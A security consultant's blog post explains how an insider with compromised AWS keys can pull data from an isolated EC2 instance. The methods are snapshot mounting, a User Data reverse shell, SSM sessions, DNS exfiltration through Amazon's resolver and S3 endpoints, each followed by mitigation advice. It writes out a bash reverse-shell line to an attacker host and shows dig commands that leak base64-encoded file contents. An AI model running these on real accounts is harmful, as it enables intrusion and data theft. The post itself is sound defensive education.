Data leaks from AWS EC2 — how can Bob reveal Alice’s secrets?

In this blog post I’m going to show you several ways in which sensitive data from an isolated AWS EC2 instance can be exfiltrated by an attacker who compromised access keys, or by an excessively “curious” teammate😉 Among the attack vectors you’ll find out how to explore the instance’s content via snapshots or AMIs, and get a shell via User Data or SSM service. Last but not least, you will learn how to silently exfiltrate data outside your VPC via DNS traffic or other AWS services using VPC endpoints. If any of the above mentioned issues sounds new to you, then sit comfortably and enjoy the article!

Introduction

When I am talking to cloud administrators, I notice that they often do not use a lot of available AWS security features. Their setup works quite well but it sometimes proves to be insufficient as a protection from motivated attackers. The aim of this article is therefore to describe the ways in which an attacker can access your data, even in isolated environments.

Let’s assume the following scenario: Alice is one of the AWS administrators and she’s preparing a secret project. She doesn’t want to share its details with any of her teammates, so she has stored her secret project in an EC2 instance. Its Security Group settings limit access only to port 22 from her IP address and of course only she can access the SSH keys.

Like in every community, there’s always someone who loves to make someone else’s life harder. So let’s assume Bob is one of such people and he decides to reveal Alice’s secret. How? There are at least a few ways to do it.

Exploring data via snapshots

Firstly, if Bob has proper permissions to create a snapshot and create a volume from it, he can easily access all the data, by mounting a newly created volume under the EC2 instance to which he has access. Here is the list of the steps:

• Create an image of the target instance,
• Create a volume from the newly created snapshot (remember that the volume has to be in the same availability zone as your instance),
• Attach the newly created volume to Bob’s instance,
• SSH to Bob’s instance,
• Mount the new volume to Bob’s instance file system, like in the below screenshot.

Similarly, Bob can create his own instance based on Amazon Machine Image ID of the target instance.

Being able to create snapshots of instances/databases or having access to the unencrypted snapshots means you have access to ALL data inside. Administrators often forget about it and give teammates ec2:* permissions. Sometimes you may even find a snapshot of an Active Directory Domain Controller which allows you to gain credentials of DC Administrator 😲

Note: always encrypt all your snapshots and limit access to the decryption keys!

Getting a shell via User Data

But let’s assume that Bob not only wants to access Alice’s data, but also to modify them a little bit. There are at least 2 ways to do it without having SSH keys. First, by modifying the User Data of the Alice’s instance to get a reverse shell. By default User Data should be executed only once, at the first boot, but here’s the trick to bypass this limitation: adding a directive #cloud-boothook at the beginning of User Data will instruct the instance to run the code on every single boot instead. So Bob needs to stop the instance and then he’s able to modify User Data using the following command:

aws ec2 modify-instance-attribute --instance-id [target instance] --attribute userData --value file://modified_user_data.sh

Where modified_user_data.sh is Base64 encoded of the following output:

#cloud-boothook
#!/bin/bashbash -i >& /dev/tcp/[Bob's IP address]/[Bob's listening port] 0>&1

Once the Alice’s instance is restarted, the new User Data will be executed and Bob will gain a reverse shell:

As I’m using NAT in my home network, I tunnel my local listening socket to the public Internet via ngrok. The tunnel can be easily set up using a command./ngrok tcp [my_port].

Getting a shell via SSM

Rebooting an instance is quite a noisy action and it may be easily detected by Alice. The other way to execute any command on the instance is… using a dedicated service to execute any command on EC2 instance: the AWS Systems Manager. Assuming that Bob has permissions to SSM service and is allowed to assign a role to Alice’s instance with AmazonEC2RoleforSSM policy, he can simply get a session via SSM Agent, which is preinstalled by default in Amazon Linux images:

Please note that if you replace the IAM role assigned to your EC2 instance, you have to wait for the instance credentials to refresh.

Note: ALWAYS follow the principle of least privilege!

Silently exfiltrate data via DNS

What if Alice strictly monitors the outgoing traffic via VPC Flow Logs? Well, Bob can still deploy some cron job to Alice’s instance and — using DNS traffic — exfiltrate whatever he wants without being detected by any monitoring service like VPC Flow Logs or CloudTrail.

There’s a great research about data exfiltration through DNS traffic. In a nutshell, the default VPC uses AmazonProvidedDNS for traffic management, which goes through different network links than standard customer traffic (in the new VPCs you have to enable DNS hostnames explicitly to see the same). To see that on your own instance, simply remove all the egress rules from the Security Groups and try the following command:

[ec2-user@ip-172–31–18–125 ~]$ dig @1.1.1.1 securing.pl
; <<>> DiG 9.8.2rc1-RedHat-9.8.2–0.68.rc1.59.amzn1 <<>> @1.1.1.1 securing.pl
; (1 server found)
;; global options: +cmd
;; connection timed out; no servers could be reached

As expected, you cannot reach Cloudflare’s DNS server (1.1.1.1) because the whole egress traffic is blocked. But let’s try the following command:

[ec2-user@ip-172–31–18–125 ~]$ dig @169.254.169.253 securing.pl
; <<>> DiG 9.8.2rc1-RedHat-9.8.2–0.68.rc1.59.amzn1 <<>> @169.254.169.253 securing.pl
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 3924
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;securing.pl. IN A
;; ANSWER SECTION:
securing.pl. 60 IN A 91.150.194.132
;; Query time: 717 msec;; SERVER: 169.254.169.253#53(169.254.169.253)
;; WHEN: Sat Jul 13 18:54:30 2019
;; MSG SIZE rcvd: 45

Interesting, huh? Although all egress traffic is forbidden, the domain securing.pl is still resolved. It is possible, because under the address 169.254.169.253 there’s an Amazon-provided DNS server which uses different network links than the standard customer traffic and those links aren’t affected by your Security Group.

So how can Bob use it? Assuming that Bob controls the securing.pl domain, it is possible to exfiltrate encoded data as a subdomain of the securing.pl. Bob may encode with Base64 any file on the instance and then send it to his DNS server:

[ec2-user@ip-172–31–18–125 ~]$ cat secret.txt
Alice secret
[ec2-user@ip-172–31–18–125 ~]$ cat secret.txt | base64
QWxpY2Ugc2VjcmV0Cg==
[ec2-user@ip-172–31–18–125 ~]$ echo 'QWxpY2Ugc2VjcmV0Cg==' | base64 -decode
Alice secret
[ec2-user@ip-172–31–18–125 ~]$ dig @169.254.169.253 QWxpY2Ugc2VjcmV0Cg==.securing.pl
; <<>> DiG 9.8.2rc1-RedHat-9.8.2–0.68.rc1.59.amzn1 <<>> @169.254.169.253 QWxpY2Ugc2VjcmV0Cg==.securing.pl
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 64343
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
; QWxpY2Ugc2VjcmV0Cg==.securing.pl. IN A
;; AUTHORITY SECTION:
securing.pl. 60 IN SOA a.ns.securing.pl. hostmaster.securing.pl. 1559128960 16384 2048 1048576 2560
;; Query time: 570 msec
;; SERVER: 169.254.169.253#53(169.254.169.253)
;; WHEN: Sat Jul 13 19:51:28 2019
;; MSG SIZE rcvd: 102

The Amazon DNS server will try to resolve this name and will send this name to Bob’s DNS server. While using tools like dnscat2 it’s even possible to get a shell that can bypass the Security Groups and be undetected to monitor services😲

Note: disable the AmazonProvidedDNS in your isolated VPC!

Exfiltrating data via AWS services

What if the AmazonProvidedDNS is disabled and the Alice’s instance is located in a private subnet without NAT Gateway connection (which means that this instance doesn’t have connection to the Internet and requires bastion host to get a shell)? Then Bob still can exfiltrate data using VPC endpoints. For example, Bob can associate VPC containing Alice’s instance with the S3 endpoint com.amazonaws.us-west-2.s3. Then, from inside the Alice’s instance he can use his own access keys to write exfiltrated data to his S3 bucket😉 The exfiltration can be also automated e.g. by adding a cron job to regularly run a script, which updates Alice’s secrets in a Bob’s bucket.

Summary

To sum up, here is the list of key takeaways from this article:

• Data from any EC2 instance can be explored by anyone with access to snapshots. That’s why it’s so important to ALWAYS encrypt your snapshots and limit access to them only to people who really need it.
• Even if an attacker doesn’t have an SSH key to target instance, he can still get a shell there by modifying User Data or by using AWS SSM service. That’s why you should always follow the principle of least privilege.
• Default VPC uses AmazonProvidedDNS, what allows for data exfiltration, even in an isolated environment. Disable it and configure which DNS server should be used instead.
• Data can be exfiltrated from an isolated environment also through other AWS services, like S3 or SEM. Again, follow the principle of least privilege not to allow anyone assign unnecessary VPC endpoints.

I hope it was interesting for you to read this text and you’ll review your AWS configuration after having read this article. If you would like to detect all potential attack vectors in your AWS environment, perform the cloud security assessment. Here’s the article why and how it should be done.

Paweł Rzepa Senior IT Security Consultant